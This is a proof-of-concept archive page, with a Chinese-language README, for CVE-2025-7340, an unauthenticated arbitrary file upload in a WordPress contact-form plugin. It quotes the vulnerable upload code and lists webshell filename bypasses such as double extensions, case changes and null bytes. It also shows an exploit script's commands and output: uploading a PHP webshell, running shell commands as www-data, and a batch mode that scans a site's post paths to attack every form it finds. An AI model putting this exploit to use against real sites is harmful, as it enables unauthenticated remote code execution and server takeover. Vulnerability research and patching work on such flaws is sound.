Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-7340 PoC — HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. <= 2.2.1 - Unauthenticated Arbitrar

Source
Associated Vulnerability
Title:HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. <= 2.2.1 - Unauthenticated Arbitrary File Upload (CVE-2025-7340)
Description:The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the temp_file_upload() function in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Readme
# WordPress HT Contact Form Widget | CVE-2025-7340 文件上传漏洞分析

## 漏洞位置
漏洞位置:`ht-contactform/admin/Includes/Services/FileManager.php`
关键函数:`temp_file_upload()`

### 1. 主要漏洞点:`temp_file_upload` 函数

```php
#63行
public function temp_file_upload($file) {
  $destination = "{$this->dir}/temp";
  $this->maybe_create_directories($destination);
  // Validate file
  $validation = $this->validate($file);
  if (!$validation['valid']) {
​    wp_send_json_error($validation['message']);
​    return;
  }

  // Process the file
  $filename = $this->process_filename($file['name']);
  $file_path = "{$destination}/$filename";
  // Move file to temporary directory
  if (move_uploaded_file($file['tmp_name'], $file_path)) {
​    wp_send_json_success([
​      'file_id' => $filename,
​      'file_name' => $file['name'],
​      'file_size' => $file['size']
​    ]);
​    return;
  }
}
```

### 2. 漏洞入口点:`AJAX`处理

文件位置: `ht-contactform/admin/Includes/Ajax.php`:


```php
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
```

**问题**: 使用了 `wp_ajax_nopriv_ `钩子,这意味着未经身份验证的用户也可以访问文件上传功能。


**问题根因分析**:
- 缺少文件类型验证:`FileManager.php` 的 `validate` 函数中,只检查PHP上传错误,完全没有验证文件类型、扩展名或MIME类型。
- 文件类型配置未被使用:插件在 `Fields.php` 中定义了允许的文件,但是只在表单渲染时用于前端验证(accept 属性),服务器端完全没有使用这些配置进行验证。
- 文件名处理不够安全:`sanitize_file_name()` 主要处理特殊字符,不会阻止危险扩展名,攻击者仍然可以上传 `.php、.php3、.phtml` 等文件;

### 3. 访问控制问题

```php
// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
```

**问题分析**:
- 非登录用户也可以访问上传功能
- 仅依赖 nonce 验证,可能被绕过

## 攻击场景

1. 直接攻击: 攻击者可以直接向 /wp-admin/admin-ajax.php 发送POST请求,action为 ht_form_temp_file_upload

1. 绕过前端验证: 前端使用 accept 属性限制文件类型,但攻击者可以轻松绕过

1. 文件执行: 上传的PHP文件可能被Web服务器执行,导致远程代码执行

### 1. 双重扩展名绕过
```
shell.php.jpg
shell.php.png
shell.php.gif
```

### 2. 大小写绕过
```
shell.PHP
shell.Php
shell.pHp
```

### 3. 空字节注入(如果服务器配置允许)
```
shell.php%00.jpg
```


### 4. python脚本
须知,URL是插件发布的文章才会可行,所以我增加了一个脚本小子功能02

------------------------------------------------------------------
01[单个测试]例如:
```
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/

开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式
```
02[根目录测试]例如:
```
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...

[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式
```
File Snapshot

[4.0K] /data/pocs/058fdedc1032c77eb7d3fb30c45e0e3512905ed7 ├── [7.7K] RCE.py └── [4.6K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →